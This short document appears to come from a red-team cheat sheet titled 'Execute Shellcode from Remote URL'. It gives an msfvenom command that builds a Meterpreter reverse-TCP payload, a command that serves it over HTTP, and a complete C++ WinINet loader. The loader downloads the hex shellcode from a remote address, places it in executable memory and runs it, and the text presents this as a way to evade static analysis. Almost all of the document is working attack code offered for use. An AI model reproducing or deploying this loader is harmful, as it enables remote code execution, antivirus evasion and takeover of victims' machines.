C++ — Execute Shellcode from Remote URL

Serve hex shellcode via HTTP, fetch at runtime — bypasses static analysis since no shellcode is on disk.

# Serve hex file
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<ip> LPORT=4444 -f hex -o sc.hex
python3 -m http.server 8000

C++ loader using WinINet + lazy_importer (avoids static API detection):

#include <windows.h>
#include <wininet.h>
#include <vector>
#pragma comment(lib, "wininet.lib")
// #include "lazy_importer.hpp"  // optional: LI_FN(VirtualAlloc)(...)

static unsigned char hb(char a, char b) {
    auto v=[](char c)->unsigned char{
        if(c>='0'&&c<='9')return c-'0';
        if(c>='a'&&c<='f')return c-'a'+10;
        return c-'A'+10;};
    return v(a)*16+v(b);
}

size_t fetchHex(const char* url, std::vector<unsigned char>& out) {
    HINTERNET hi = InternetOpenA("Agent", INTERNET_OPEN_TYPE_DIRECT, 0, 0, 0);
    HINTERNET hc = InternetOpenUrlA(hi, url, 0, 0, INTERNET_FLAG_RELOAD, 0);
    DWORD len = 0, bl = sizeof(len);
    HttpQueryInfo(hc, HTTP_QUERY_CONTENT_LENGTH|HTTP_QUERY_FLAG_NUMBER, &len, &bl, 0);
    std::vector<char> buf(len+1, 0);
    DWORD read; InternetReadFile(hc, buf.data(), len, &read);
    out.resize(read/2);
    for(DWORD i=0;i<read;i+=2) out[i/2]=hb(buf[i],buf[i+1]);
    InternetCloseHandle(hc); InternetCloseHandle(hi);
    return read/2;
}

int main() {
    std::vector<unsigned char> sc;
    size_t sz = fetchHex("http://192.168.1.1:8000/sc.hex", sc);

    void* mem = VirtualAlloc(0, sz, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    memcpy(mem, sc.data(), sz);
    ((void(*)())mem)();
    return 0;
}